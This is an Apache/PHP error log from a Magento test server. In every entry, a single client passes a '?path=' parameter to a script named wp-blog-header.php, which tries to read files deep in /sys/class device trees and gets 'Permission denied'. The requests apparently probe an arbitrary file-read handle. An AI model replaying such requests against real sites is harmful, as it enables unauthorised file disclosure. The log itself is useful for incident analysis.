[Thu Mar 26 11:47:12.074079 2026] [php:warn] [pid 3106757] [client 74.7.241.26:57348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:47:12.585563 2026] [php:warn] [pid 3106757] [client 74.7.241.26:57348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:cc
[Thu Mar 26 11:47:13.134284 2026] [php:warn] [pid 3106757] [client 74.7.241.26:57348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/drivers/ec
[Thu Mar 26 11:47:23.320905 2026] [php:warn] [pid 3106757] [client 74.7.241.26:57348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ea
[Thu Mar 26 11:47:24.998951 2026] [php:warn] [pid 3106757] [client 74.7.241.26:57348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ea
[Thu Mar 26 11:47:25.518184 2026] [php:warn] [pid 3106757] [client 74.7.241.26:57348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:dc
[Thu Mar 26 11:47:27.051589 2026] [php:warn] [pid 3106757] [client 74.7.241.26:57348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/drivers/ec
[Thu Mar 26 11:47:32.309285 2026] [php:warn] [pid 3106757] [client 74.7.241.26:57348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/drivers/ac
[Thu Mar 26 11:47:33.357411 2026] [php:warn] [pid 3106757] [client 74.7.241.26:57348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/drivers/ac
[Thu Mar 26 11:47:34.947109 2026] [php:warn] [pid 3106757] [client 74.7.241.26:57348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:ac
[Thu Mar 26 11:47:35.444405 2026] [php:warn] [pid 3106757] [client 74.7.241.26:57348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:47:37.547465 2026] [php:warn] [pid 3106757] [client 74.7.241.26:57348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ea
[Thu Mar 26 11:47:39.168258 2026] [php:warn] [pid 3106757] [client 74.7.241.26:57348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:fa
[Thu Mar 26 11:47:41.808193 2026] [php:warn] [pid 3106757] [client 74.7.241.26:57348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:ba
[Thu Mar 26 11:47:46.297700 2026] [php:warn] [pid 3106757] [client 74.7.241.26:57348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:de
[Thu Mar 26 11:48:00.742217 2026] [php:warn] [pid 3107086] [client 74.7.241.26:39352] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:bc
[Thu Mar 26 11:48:05.008986 2026] [php:warn] [pid 3107086] [client 74.7.241.26:39352] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/drivers/ec
[Thu Mar 26 11:48:09.952102 2026] [php:warn] [pid 3107086] [client 74.7.241.26:39352] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 11:48:13.634264 2026] [php:warn] [pid 3107086] [client 74.7.241.26:39352] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 11:48:17.893998 2026] [php:warn] [pid 3107086] [client 74.7.241.26:39352] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 11:48:18.955095 2026] [php:warn] [pid 3107086] [client 74.7.241.26:39352] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:aa
[Thu Mar 26 11:48:21.039370 2026] [php:warn] [pid 3107086] [client 74.7.241.26:39352] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:aa
[Thu Mar 26 11:48:23.719476 2026] [php:warn] [pid 3107086] [client 74.7.241.26:39352] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 11:48:24.737422 2026] [php:warn] [pid 3107086] [client 74.7.241.26:39352] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/drivers/ec
[Thu Mar 26 11:48:26.282852 2026] [php:warn] [pid 3107086] [client 74.7.241.26:39352] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 11:48:27.865567 2026] [php:warn] [pid 3107086] [client 74.7.241.26:39352] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:48:28.396059 2026] [php:warn] [pid 3107086] [client 74.7.241.26:39352] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:ee
[Thu Mar 26 11:48:33.212068 2026] [php:warn] [pid 3107086] [client 74.7.241.26:39352] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 11:48:50.513118 2026] [php:warn] [pid 3106757] [client 74.7.241.26:34004] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 11:48:51.026003 2026] [php:warn] [pid 3106757] [client 74.7.241.26:34004] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ea
[Thu Mar 26 11:48:51.575512 2026] [php:warn] [pid 3106757] [client 74.7.241.26:34004] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 11:48:53.247470 2026] [php:warn] [pid 3106757] [client 74.7.241.26:34004] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/device:ac/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/device:ac/subsystem/drivers/ec
[Thu Mar 26 11:48:57.463068 2026] [php:warn] [pid 3106757] [client 74.7.241.26:34004] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:aa
[Thu Mar 26 11:49:08.151021 2026] [php:warn] [pid 3106757] [client 74.7.241.26:34004] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 11:49:10.247785 2026] [php:warn] [pid 3106757] [client 74.7.241.26:34004] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:49:10.723220 2026] [php:warn] [pid 3106757] [client 74.7.241.26:34004] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:49:12.980337 2026] [php:warn] [pid 3106757] [client 74.7.241.26:34004] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:49:14.543640 2026] [php:warn] [pid 3106757] [client 74.7.241.26:34004] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:dc
[Thu Mar 26 11:49:23.151189 2026] [php:warn] [pid 3106757] [client 74.7.241.26:34004] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:be
[Thu Mar 26 11:49:24.234404 2026] [php:warn] [pid 3106757] [client 74.7.241.26:34004] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 11:49:26.848418 2026] [php:warn] [pid 3106757] [client 74.7.241.26:34004] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 11:49:27.914591 2026] [php:warn] [pid 3106757] [client 74.7.241.26:34004] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 11:49:36.255506 2026] [php:warn] [pid 3106757] [client 74.7.241.26:34004] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:49:44.522496 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42742] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:da
